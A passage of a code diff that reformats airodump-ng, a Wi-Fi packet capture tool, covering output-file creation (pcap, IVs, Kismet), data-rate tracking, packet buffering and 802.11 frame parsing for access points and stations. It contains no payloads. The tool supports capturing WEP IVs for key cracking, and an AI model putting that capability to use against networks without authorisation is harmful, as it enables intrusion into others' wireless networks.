-    int i, ofn_len;
-    FILE *f;
-    char * ofn = NULL;
+	int i, ofn_len;
+	FILE * f;
+	char * ofn = NULL;
 
+	/* If you only want to see what happening, send all data to /dev/null */
 
-    /* If you only want to see what happening, send all data to /dev/null */
-
-    if ( prefix == NULL || strlen( prefix ) == 0) {
-	    return( 0 );
-    }
+	if (prefix == NULL || strlen(prefix) == 0)
+	{
+		return (0);
+	}
 
 	/* Create a buffer of the length of the prefix + '-' + 2 numbers + '.'
 	   + longest extension ("kismet.netxml") + terminating 0. */
 	ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1;
-	ofn = (char *)calloc(1, ofn_len);
-
-    G.f_index = 1;
+	ofn = (char *) calloc(1, ofn_len);
 
+	G.f_index = 1;
 
 	/* Make sure no file with the same name & all possible file extensions. */
-    do
-    {
-        for( i = 0; i < NB_EXTENSIONS; i++ )
-        {
+	do
+	{
+		for (i = 0; i < NB_EXTENSIONS; i++)
+		{
 			memset(ofn, 0, ofn_len);
-            snprintf( ofn,  ofn_len, "%s-%02d.%s",
-                      prefix, G.f_index, f_ext[i] );
+			snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i]);
 
-            if( ( f = fopen( ofn, "rb+" ) ) != NULL )
-            {
-                fclose( f );
-                G.f_index++;
-                break;
-            }
-        }
-    }
-    /* If we did all extensions then no file with that name or extension exist
-       so we can use that number */
-    while( i < NB_EXTENSIONS );
+			if ((f = fopen(ofn, "rb+")) != NULL)
+			{
+				fclose(f);
+				G.f_index++;
+				break;
+			}
+		}
+	}
+	/* If we did all extensions then no file with that name or extension exist
+	   so we can use that number */
+	while (i < NB_EXTENSIONS);
 
-    G.prefix = (char *) malloc(strlen(prefix) + 1);
-    memcpy(G.prefix, prefix, strlen(prefix) + 1);
+	G.prefix = (char *) malloc(strlen(prefix) + 1);
+	memcpy(G.prefix, prefix, strlen(prefix) + 1);
 
-    /* create the output CSV file */
+	/* create the output CSV file */
 
-	if (G.output_format_csv) {
+	if (G.output_format_csv)
+	{
 		memset(ofn, 0, ofn_len);
-		snprintf( ofn,  ofn_len, "%s-%02d.%s",
-				  prefix, G.f_index, AIRODUMP_NG_CSV_EXT );
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT);
 
-		if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL )
+		if ((G.f_txt = fopen(ofn, "wb+")) == NULL)
 		{
-			perror( "fopen failed" );
-			fprintf( stderr, "Could not create \"%s\".\n", ofn );
-			free( ofn );
-			return( 1 );
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
 		}
 	}
 
-    /* create the output Kismet CSV file */
-	if (G.output_format_kismet_csv) {
+	/* create the output Kismet CSV file */
+	if (G.output_format_kismet_csv)
+	{
 		memset(ofn, 0, ofn_len);
-		snprintf( ofn,  ofn_len, "%s-%02d.%s",
-				  prefix, G.f_index, KISMET_CSV_EXT );
+		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT);
 
-		if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL )
+		if ((G.f_kis = fopen(ofn, "wb+")) == NULL)
 		{
-			perror( "fopen failed" );
-			fprintf( stderr, "Could not create \"%s\".\n", ofn );
-			free( ofn );
-			return( 1 );
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
 		}
 	}
 
 	/* create the output GPS file */
 
-    if (G.usegpsd)
-    {
-        memset(ofn, 0, ofn_len);
-        snprintf( ofn,  ofn_len, "%s-%02d.%s",
-                  prefix, G.f_index, AIRODUMP_NG_GPS_EXT );
-
-        if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL )
-        {
-            perror( "fopen failed" );
-            fprintf( stderr, "Could not create \"%s\".\n", ofn );
-            free( ofn );
-            return( 1 );
-        }
-    }
+	if (G.usegpsd)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT);
 
-    /* Create the output kismet.netxml file */
+		if ((G.f_gps = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
+		}
+	}
+
+	/* Create the output kismet.netxml file */
 
-	if (G.output_format_kismet_netxml) {
+	if (G.output_format_kismet_netxml)
+	{
 		memset(ofn, 0, ofn_len);
-		snprintf( ofn,  ofn_len, "%s-%02d.%s",
-				  prefix, G.f_index, KISMET_NETXML_EXT );
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT);
 
-		if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL )
+		if ((G.f_kis_xml = fopen(ofn, "wb+")) == NULL)
 		{
-			perror( "fopen failed" );
-			fprintf( stderr, "Could not create \"%s\".\n", ofn );
-			free( ofn );
-			return( 1 );
-		}
-	}
-
-    /* create the output packet capture file */
-    if( G.output_format_pcap )
-    {
-        struct pcap_file_header pfh;
-
-        memset(ofn, 0, ofn_len);
-        snprintf( ofn,  ofn_len, "%s-%02d.%s",
-                  prefix, G.f_index, AIRODUMP_NG_CAP_EXT );
-
-        if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL )
-        {
-            perror( "fopen failed" );
-            fprintf( stderr, "Could not create \"%s\".\n", ofn );
-            free( ofn );
-            return( 1 );
-        }
-
-        G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 );
-        memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 );
-        free( ofn );
-
-        pfh.magic           = TCPDUMP_MAGIC;
-        pfh.version_major   = PCAP_VERSION_MAJOR;
-        pfh.version_minor   = PCAP_VERSION_MINOR;
-        pfh.thiszone        = 0;
-        pfh.sigfigs         = 0;
-        pfh.snaplen         = 65535;
-        pfh.linktype        = LINKTYPE_IEEE802_11;
-
-        if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) !=
-                    (size_t) sizeof( pfh ) )
-        {
-            perror( "fwrite(pcap file header) failed" );
-            return( 1 );
-        }
-    } else if ( ivs_only ) {
-        struct ivs2_filehdr fivs2;
-
-        fivs2.version = IVS2_VERSION;
-
-        memset(ofn, 0, ofn_len);
-        snprintf( ofn,  ofn_len, "%s-%02d.%s",
-                  prefix, G.f_index, IVS2_EXTENSION );
-
-        if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL )
-        {
-            perror( "fopen failed" );
-            fprintf( stderr, "Could not create \"%s\".\n", ofn );
-            free( ofn );
-            return( 1 );
-        }
-        free( ofn );
-
-        if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 )
-        {
-            perror( "fwrite(IVs file MAGIC) failed" );
-            return( 1 );
-        }
-
-        if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) )
-        {
-            perror( "fwrite(IVs file header) failed" );
-            return( 1 );
-        }
-    }
-    else
-    {
-        free( ofn );
-    }
-
-    return( 0 );
-}
-
-int update_dataps()
-{
-    struct timeval tv;
-    struct AP_info *ap_cur;
-    struct NA_info *na_cur;
-    int sec, usec, diff, ps;
-    float pause;
-
-    gettimeofday(&tv, NULL);
-
-    ap_cur = G.ap_end;
-
-    while( ap_cur != NULL )
-    {
-        sec = (tv.tv_sec - ap_cur->tv.tv_sec);
-        usec = (tv.tv_usec - ap_cur->tv.tv_usec);
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
+		}
+	}
+
+	/* create the output packet capture file */
+	if (G.output_format_pcap)
+	{
+		struct pcap_file_header pfh;
+
+		memset(ofn, 0, ofn_len);
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT);
+
+		if ((G.f_cap = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
+		}
+
+		G.f_cap_name = (char *) malloc(strlen(ofn) + 1);
+		memcpy(G.f_cap_name, ofn, strlen(ofn) + 1);
+		free(ofn);
+
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		if (fwrite(&pfh, 1, sizeof(pfh), G.f_cap) != (size_t) sizeof(pfh))
+		{
+			perror("fwrite(pcap file header) failed");
+			return (1);
+		}
+	}
+	else if (ivs_only)
+	{
+		struct ivs2_filehdr fivs2;
+
+		fivs2.version = IVS2_VERSION;
+
+		memset(ofn, 0, ofn_len);
+		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION);
+
+		if ((G.f_ivs = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+			return (1);
+		}
+		free(ofn);
+
+		if (fwrite(IVS2_MAGIC, 1, 4, G.f_ivs) != (size_t) 4)
+		{
+			perror("fwrite(IVs file MAGIC) failed");
+			return (1);
+		}
+
+		if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs)
+			!= (size_t) sizeof(struct ivs2_filehdr))
+		{
+			perror("fwrite(IVs file header) failed");
+			return (1);
+		}
+	}
+	else
+	{
+		free(ofn);
+	}
+
+	return (0);
+}
+
+static int update_dataps(void)
+{
+	struct timeval tv;
+	struct AP_info * ap_cur;
+	struct NA_info * na_cur;
+	int sec, usec, diff, ps;
+	float pause;
+
+	gettimeofday(&tv, NULL);
+
+	ap_cur = G.ap_end;
+
+	while (ap_cur != NULL)
+	{
+		sec = (tv.tv_sec - ap_cur->tv.tv_sec);
+		usec = (tv.tv_usec - ap_cur->tv.tv_usec);
 #if defined(__x86_64__) && defined(__CYGWIN__)
-        pause = (((float)(sec*(0.0f + 1000000) + usec))/((0.0f + 1000000)));
+		pause
+			= (((float) (sec * (0.0f + 1000000) + usec)) / ((0.0f + 1000000)));
 #else
-	pause = (((float)(sec*1000000.0f + usec))/(1000000.0f));
+		pause = (((float) (sec * 1000000.0f + usec)) / (1000000.0f));
 #endif
-        if( pause > 2.0f )
-        {
-            diff = ap_cur->nb_data - ap_cur->nb_data_old;
-            ps = (int)(((float)diff)/pause);
-            ap_cur->nb_dataps = ps;
-            ap_cur->nb_data_old = ap_cur->nb_data;
-            gettimeofday(&(ap_cur->tv), NULL);
-        }
-        ap_cur = ap_cur->prev;
-    }
-
-    na_cur = G.na_1st;
-
-    while( na_cur != NULL )
-    {
-        sec = (tv.tv_sec - na_cur->tv.tv_sec);
-        usec = (tv.tv_usec - na_cur->tv.tv_usec);
+		if (pause > 2.0f)
+		{
+			diff = ap_cur->nb_data - ap_cur->nb_data_old;
+			ps = (int) (((float) diff) / pause);
+			ap_cur->nb_dataps = ps;
+			ap_cur->nb_data_old = ap_cur->nb_data;
+			gettimeofday(&(ap_cur->tv), NULL);
+		}
+		ap_cur = ap_cur->prev;
+	}
+
+	na_cur = G.na_1st;
+
+	while (na_cur != NULL)
+	{
+		sec = (tv.tv_sec - na_cur->tv.tv_sec);
+		usec = (tv.tv_usec - na_cur->tv.tv_usec);
 #if defined(__x86_64__) && defined(__CYGWIN__)
-        pause = (((float)(sec*(0.0f + 1000000) + usec))/((0.0f + 1000000)));
+		pause
+			= (((float) (sec * (0.0f + 1000000) + usec)) / ((0.0f + 1000000)));
 #else
-	pause = (((float)(sec*1000000.0f + usec))/(1000000.0f));
+		pause = (((float) (sec * 1000000.0f + usec)) / (1000000.0f));
 #endif
-        if( pause > 2.0f )
-        {
-            diff = na_cur->ack - na_cur->ack_old;
-            ps = (int)(((float)diff)/pause);
-            na_cur->ackps = ps;
-            na_cur->ack_old = na_cur->ack;
-            gettimeofday(&(na_cur->tv), NULL);
-        }
-        na_cur = na_cur->next;
-    }
-    return(0);
+		if (pause > 2.0f)
+		{
+			diff = na_cur->ack - na_cur->ack_old;
+			ps = (int) (((float) diff) / pause);
+			na_cur->ackps = ps;
+			na_cur->ack_old = na_cur->ack;
+			gettimeofday(&(na_cur->tv), NULL);
+		}
+		na_cur = na_cur->next;
+	}
+	return (0);
 }
 
-int list_tail_free(struct pkt_buf **list)
+static int list_tail_free(struct pkt_buf ** list)
 {
-    struct pkt_buf **pkts;
-    struct pkt_buf *next;
+	struct pkt_buf ** pkts;
+	struct pkt_buf * next;
 
-    if(list == NULL) return 1;
+	if (list == NULL) return 1;
 
-    pkts = list;
+	pkts = list;
 
-    while(*pkts != NULL)
-    {
-        next = (*pkts)->next;
-        if( (*pkts)->packet )
-        {
-            free( (*pkts)->packet);
-            (*pkts)->packet=NULL;
-        }
+	while (*pkts != NULL)
+	{
+		next = (*pkts)->next;
+		if ((*pkts)->packet)
+		{
+			free((*pkts)->packet);
+			(*pkts)->packet = NULL;
+		}
 
-        if(*pkts)
-        {
-            free(*pkts);
-            *pkts = NULL;
-        }
-        *pkts = next;
-    }
+		if (*pkts)
+		{
+			free(*pkts);
+			*pkts = NULL;
+		}
+		*pkts = next;
+	}
 
-    *list=NULL;
+	*list = NULL;
 
-    return 0;
+	return 0;
 }
 
-int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet)
+static int
+list_add_packet(struct pkt_buf ** list, int length, unsigned char * packet)
 {
-    struct pkt_buf *next = *list;
-
-    if(length <= 0) return 1;
-    if(packet == NULL) return 1;
-    if(list == NULL) return 1;
+	struct pkt_buf * next;
 
-    *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf));
-    if( *list == NULL ) return 1;
-    (*list)->packet = (unsigned char*) malloc(length);
-    if( (*list)->packet == NULL ) return 1;
+	if (length <= 0) return 1;
+	if (packet == NULL) return 1;
+	if (list == NULL) return 1;
+
+	next = *list;
+
+	*list = (struct pkt_buf *) malloc(sizeof(struct pkt_buf));
+	if (*list == NULL) return 1;
+	(*list)->packet = (unsigned char *) malloc(length);
+	if ((*list)->packet == NULL) return 1;
+
+	memcpy((*list)->packet, packet, length);
+	(*list)->next = next;
+	(*list)->length = length;
+	gettimeofday(&((*list)->ctime), NULL);
 
-    memcpy((*list)->packet,  packet, length);
-    (*list)->next = next;
-    (*list)->length = length;
-    gettimeofday( &((*list)->ctime), NULL);
-
-    return 0;
+	return 0;
 }
 
 /*
@@ -1118,1554 +1222,1919 @@
  * The reason is that the first two bytes unencrypted are 'aa'
  * so with the same IV it should always be encrypted to the same thing.
  */
-int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet)
+static int
+list_check_decloak(struct pkt_buf ** list, int length, unsigned char * packet)
 {
-    struct pkt_buf *next = *list;
-    struct timeval tv1;
-    int timediff;
-    int i, correct;
-
-    if( packet == NULL) return 1;
-    if( list == NULL ) return 1;
-    if( *list == NULL ) return 1;
-    if( length <= 0) return 1;
-
-    gettimeofday(&tv1, NULL);
-
-    timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000;
-    if( timediff > BUFFER_TIME )
-    {
-        list_tail_free(list);
-        next=NULL;
-    }
-
-    while(next != NULL)
-    {
-        if(next->next != NULL)
-        {
-            timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000;
-            if( timediff > BUFFER_TIME )
-            {
-                list_tail_free(&(next->next));
-                break;
-            }
-        }
-        if( (next->length + 4) == length)
-        {
-            correct = 1;
-            // check for 4 bytes added after the end
-            for(i=28;i<length-28;i++)   //check everything (in the old packet) after the IV (including crc32 at the end)
-            {
-                if(next->packet[i] != packet[i])
-                {
-                    correct = 0;
-                    break;
-                }
-            }
-            if(!correct)
-            {
-                correct = 1;
-                // check for 4 bytes added at the beginning
-                for(i=28;i<length-28;i++)   //check everything (in the old packet) after the IV (including crc32 at the end)
-                {
-                    if(next->packet[i] != packet[4+i])
-                    {
-                        correct = 0;
-                        break;
-                    }
-                }
-            }
-            if(correct == 1)
-                    return 0;   //found decloaking!
-        }
-        next = next->next;
-    }
-
-    return 1; //didn't find decloak
-}
-
-int remove_namac(unsigned char* mac)
-{
-    struct NA_info *na_cur = NULL;
-    struct NA_info *na_prv = NULL;
-
-    if(mac == NULL)
-        return( -1 );
-
-    na_cur = G.na_1st;
-    na_prv = NULL;
-
-    while( na_cur != NULL )
-    {
-        if( ! memcmp( na_cur->namac, mac, 6 ) )
-            break;
-
-        na_prv = na_cur;
-        na_cur = na_cur->next;
-    }
-
-    /* if it's known, remove it */
-    if( na_cur != NULL )
-    {
-        /* first in linked list */
-        if(na_cur == G.na_1st)
-        {
-            G.na_1st = na_cur->next;
-        }
-        else
-        {
-            na_prv->next = na_cur->next;
-        }
-        free(na_cur);
-        na_cur=NULL;
-    }
-
-    return( 0 );
-}
-
-int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum )
-{
-    int i, n, seq, msd, dlen, offset, clen, o;
-    unsigned z;
-    int type, length, numuni=0, numauth=0;
-    struct pcap_pkthdr pkh;
-    struct timeval tv;
-    struct ivs2_pkthdr ivs2;
-    unsigned char *p, *org_p, c;
-    unsigned char bssid[6];
-    unsigned char stmac[6];
-    unsigned char namac[6];
-    unsigned char clear[2048];
-    int weight[16];
-    int num_xor=0;
-
-    struct AP_info *ap_cur = NULL;
-    struct ST_info *st_cur = NULL;
-    struct NA_info *na_cur = NULL;
-    struct AP_info *ap_prv = NULL;
-    struct ST_info *st_prv = NULL;
-    struct NA_info *na_prv = NULL;
-
-    /* skip all non probe response frames in active scanning simulation mode */
-    if( G.active_scan_sim > 0 && h80211[0] != 0x50 )
-        return(0);
-
-    /* skip packets smaller than a 802.11 header */
-
-    if( caplen < 24 )
-        goto write_packet;
-
-    /* skip (uninteresting) control frames */
-
-    if( ( h80211[0] & 0x0C ) == 0x04 )
-        goto write_packet;
-
-    /* if it's a LLC null packet, just forget it (may change in the future) */
-
-    if ( caplen > 28)
-        if ( memcmp(h80211 + 24, llcnull, 4) == 0)
-            return ( 0 );
-
-    /* grab the sequence number */
-    seq = ((h80211[22]>>4)+(h80211[23]<<4));
-
-    /* locate the access point's MAC address */
-
-    switch( h80211[1] & 3 )
-    {
-        case  0: memcpy( bssid, h80211 + 16, 6 ); break;  //Adhoc
-        case  1: memcpy( bssid, h80211 +  4, 6 ); break;  //ToDS
-        case  2: memcpy( bssid, h80211 + 10, 6 ); break;  //FromDS
-        case  3: memcpy( bssid, h80211 + 10, 6 ); break;  //WDS -> Transmitter taken as BSSID
-    }
-
-    if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 )
-    {
-        if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 )
-        {
-            if(is_filtered_netmask(bssid)) return(1);
-        }
-        else
-        {
-            if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1);
-        }
-    }
-
-    /* update our chained list of access points */
-
-    ap_cur = G.ap_1st;
-    ap_prv = NULL;
-
-    while( ap_cur != NULL )
-    {
-        if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
-            break;
-
-        ap_prv = ap_cur;
-        ap_cur = ap_cur->next;
-    }
-
-    /* if it's a new access point, add it */
-
-    if( ap_cur == NULL )
-    {
-        if( ! ( ap_cur = (struct AP_info *) malloc(
-                         sizeof( struct AP_info ) ) ) )
-        {
-            perror( "malloc failed" );
-            return( 1 );
-        }
-
-        /* if mac is listed as unknown, remove it */
-        remove_namac(bssid);
-
-        memset( ap_cur, 0, sizeof( struct AP_info ) );
-
-        if( G.ap_1st == NULL )
-            G.ap_1st = ap_cur;
-        else
-            ap_prv->next  = ap_cur;
-
-        memcpy( ap_cur->bssid, bssid, 6 );
-		if (ap_cur->manuf == NULL) {
-			ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
-		}
-
-	ap_cur->nb_pkt = 0;
-        ap_cur->prev = ap_prv;
-
-        ap_cur->tinit = time( NULL );
-        ap_cur->tlast = time( NULL );
-
-        ap_cur->avg_power   = -1;
-        ap_cur->best_power  = -1;
-        ap_cur->power_index = -1;
-
-        for( i = 0; i < NB_PWR; i++ )
-            ap_cur->power_lvl[i] = -1;
-
-        ap_cur->channel    = -1;
-        ap_cur->max_speed  = -1;
-        ap_cur->security   = 0;
-
-        ap_cur->uiv_root = uniqueiv_init();
-
-	ap_cur->nb_data = 0;
-        ap_cur->nb_dataps = 0;
-        ap_cur->nb_data_old = 0;
-        gettimeofday(&(ap_cur->tv), NULL);
-
-        ap_cur->dict_started = 0;
-
-        ap_cur->key = NULL;
-
-        G.ap_end = ap_cur;
-
-        ap_cur->nb_bcn     = 0;
-
-        ap_cur->rx_quality = 0;
-        ap_cur->fcapt      = 0;
-        ap_cur->fmiss      = 0;
-        ap_cur->last_seq   = 0;
-        gettimeofday( &(ap_cur->ftimef), NULL);
-        gettimeofday( &(ap_cur->ftimel), NULL);
-        gettimeofday( &(ap_cur->ftimer), NULL);
-
-        ap_cur->ssid_length = 0;
-        ap_cur->essid_stored = 0;
-        memset( ap_cur->essid, 0, MAX_IE_ELEMENT_SIZE );
-        ap_cur->timestamp = 0;
-
-        ap_cur->decloak_detect=G.decloak;
-        ap_cur->is_decloak = 0;
-        ap_cur->packets = NULL;
-
-	ap_cur->marked = 0;
-	ap_cur->marked_color = 1;
-
-        ap_cur->data_root = NULL;
-        ap_cur->EAP_detected = 0;
-        memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5);
-        memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5);
-        memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5);
-    }
-
-    /* update the last time seen */
-
-    ap_cur->tlast = time( NULL );
-
-    /* only update power if packets comes from
-     * the AP: either type == mgmt and SA != BSSID,
-     * or FromDS == 1 and ToDS == 0 */
-
-    if( ( ( h80211[1] & 3 ) == 0 &&
-            memcmp( h80211 + 10, bssid, 6 ) == 0 ) ||
-        ( ( h80211[1] & 3 ) == 2 ) )
-    {
-        ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR;
-        ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power;
-
-        ap_cur->avg_power = 0;
-
-        for( i = 0, n = 0; i < NB_PWR; i++ )
-        {
-            if( ap_cur->power_lvl[i] != -1 )
-            {
-                ap_cur->avg_power += ap_cur->power_lvl[i];
-                n++;
-            }
-        }
-
-        if( n > 0 )
-        {
-            ap_cur->avg_power /= n;
-            if( ap_cur->avg_power > ap_cur->best_power )
-            {
-                ap_cur->best_power = ap_cur->avg_power;
-                memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5);
-            }
-        }
-        else
-            ap_cur->avg_power = -1;
-
-        /* every packet in here comes from the AP */
-
-        if(G.gps_loc[0] > ap_cur->gps_loc_max[0])
-            ap_cur->gps_loc_max[0] = G.gps_loc[0];
-        if(G.gps_loc[1] > ap_cur->gps_loc_max[1])
-            ap_cur->gps_loc_max[1] = G.gps_loc[1];
-        if(G.gps_loc[2] > ap_cur->gps_loc_max[2])
-            ap_cur->gps_loc_max[2] = G.gps_loc[2];
-
-        if(G.gps_loc[0] < ap_cur->gps_loc_min[0])
-            ap_cur->gps_loc_min[0] = G.gps_loc[0];
-        if(G.gps_loc[1] < ap_cur->gps_loc_min[1])
-            ap_cur->gps_loc_min[1] = G.gps_loc[1];
-        if(G.gps_loc[2] < ap_cur->gps_loc_min[2])
-            ap_cur->gps_loc_min[2] = G.gps_loc[2];
-//        printf("seqnum: %i\n", seq);
-
-        if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL);
-        if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1);
-        ap_cur->last_seq = seq;
-        ap_cur->fcapt++;
-        gettimeofday( &(ap_cur->ftimel), NULL);
-
-//         if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality();
-    }
-
-    switch( h80211[0] )
-    {
-        case  0x80:
-            ap_cur->nb_bcn++;
-        case  0x50:
-            /* reset the WPS state */
-            ap_cur->wps.state = 0xFF;
-            ap_cur->wps.ap_setup_locked = 0;
-            break;
-    }
-
-    ap_cur->nb_pkt++;
-
-    /* locate the station MAC in the 802.11 header */
-
-    switch( h80211[1] & 3 )
-    {
-        case  0:
-
-            /* if management, check that SA != BSSID */
-
-            if( memcmp( h80211 + 10, bssid, 6 ) == 0 )
-                goto skip_station;
-
-            memcpy( stmac, h80211 + 10, 6 );
-            break;
-
-        case  1:
-
-            /* ToDS packet, must come from a client */
-
-            memcpy( stmac, h80211 + 10, 6 );
-            break;
-
-        case  2:
-
-            /* FromDS packet, reject broadcast MACs */
-
-            if( (h80211[4]%2) != 0 ) goto skip_station;
-            memcpy( stmac, h80211 +  4, 6 ); break;
-
-        default: goto skip_station;
-    }
-
-    /* update our chained list of wireless stations */
-
-    st_cur = G.st_1st;
-    st_prv = NULL;
-
-    while( st_cur != NULL )
-    {
-        if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-            break;
-
-        st_prv = st_cur;
-        st_cur = st_cur->next;
-    }
-
-    /* if it's a new client, add it */
-
-    if( st_cur == NULL )
-    {
-        if( ! ( st_cur = (struct ST_info *) malloc(
-                         sizeof( struct ST_info ) ) ) )
-        {
-            perror( "malloc failed" );
-            return( 1 );
-        }
-
-        /* if mac is listed as unknown, remove it */
-        remove_namac(stmac);
-
-        memset( st_cur, 0, sizeof( struct ST_info ) );
-
-        if( G.st_1st == NULL )
-            G.st_1st = st_cur;
-        else
-            st_prv->next  = st_cur;
-
-        memcpy( st_cur->stmac, stmac, 6 );
-
-		if (st_cur->manuf == NULL) {
-			st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]);
-		}
-
-	st_cur->nb_pkt = 0;
-
-        st_cur->prev = st_prv;
-
-        st_cur->tinit = time( NULL );
-        st_cur->tlast = time( NULL );
-
-        st_cur->power = -1;
-        st_cur->rate_to = -1;
-        st_cur->rate_from = -1;
-
-        st_cur->probe_index = -1;
-        st_cur->missed  = 0;
-        st_cur->lastseq = 0;
-        st_cur->qos_fr_ds = 0;
-        st_cur->qos_to_ds = 0;
-	st_cur->channel = 0;
-
-        gettimeofday( &(st_cur->ftimer), NULL);
-
-        for( i = 0; i < NB_PRB; i++ )
-        {
-            memset( st_cur->probes[i], 0, sizeof(
-                    st_cur->probes[i] ) );
-            st_cur->ssid_length[i] = 0;
-        }
-
-        G.st_end = st_cur;
-    }
-
-    if( st_cur->base == NULL ||
-        memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 )
-        st_cur->base = ap_cur;
-
-    //update bitrate to station
-    if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 )
-        st_cur->rate_to = ri->ri_rate;
-
-    /* update the last time seen */
-
-    st_cur->tlast = time( NULL );
-
-    /* only update power if packets comes from the
-     * client: either type == Mgmt and SA != BSSID,
-     * or FromDS == 0 and ToDS == 1 */
-
-    if( ( ( h80211[1] & 3 ) == 0 &&
-            memcmp( h80211 + 10, bssid, 6 ) != 0 ) ||
-        ( ( h80211[1] & 3 ) == 1 ) )
-    {
-        st_cur->power = ri->ri_power;
-        st_cur->rate_from = ri->ri_rate;
-	if(ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
-		st_cur->channel = ri->ri_channel;
-	else
-		st_cur->channel = G.channel[cardnum];
+	struct pkt_buf * next;
+	struct timeval tv1;
+	int timediff;
+	int i, correct;
+
+	if (packet == NULL) return 1;
+	if (list == NULL) return 1;
+	if (*list == NULL) return 1;
+	if (length <= 0) return 1;
+	next = *list;
+
+	gettimeofday(&tv1, NULL);
+
+	timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL)
+				+ (tv1.tv_usec - ((*list)->ctime.tv_usec)))
+			   / 1000;
+	if (timediff > BUFFER_TIME)
+	{
+		list_tail_free(list);
+		next = NULL;
+	}
+
+	while (next != NULL)
+	{
+		if (next->next != NULL)
+		{
+			timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL)
+						+ (tv1.tv_usec - (next->next->ctime.tv_usec)))
+					   / 1000;
+			if (timediff > BUFFER_TIME)
+			{
+				list_tail_free(&(next->next));
+				break;
+			}
+		}
+		if ((next->length + 4) == length)
+		{
+			correct = 1;
+			// check for 4 bytes added after the end
+			for (i = 28; i < length - 28; i++) // check everything (in the old
+			// packet) after the IV
+			// (including crc32 at the end)
+			{
+				if (next->packet[i] != packet[i])
+				{
+					correct = 0;
+					break;
+				}
+			}
+			if (!correct)
+			{
+				correct = 1;
+				// check for 4 bytes added at the beginning
+				for (i = 28; i < length - 28; i++) // check everything (in the
+				// old packet) after the IV
+				// (including crc32 at the
+				// end)
+				{
+					if (next->packet[i] != packet[4 + i])
+					{
+						correct = 0;
+						break;
+					}
+				}
+			}
+			if (correct == 1) return 0; // found decloaking!
+		}
+		next = next->next;
+	}
+
+	return 1; // didn't find decloak
+}
+
+static int remove_namac(unsigned char * mac)
+{
+	struct NA_info * na_cur = NULL;
+	struct NA_info * na_prv = NULL;
+
+	if (mac == NULL) return (-1);
+
+	na_cur = G.na_1st;
+	na_prv = NULL;
+
+	while (na_cur != NULL)
+	{
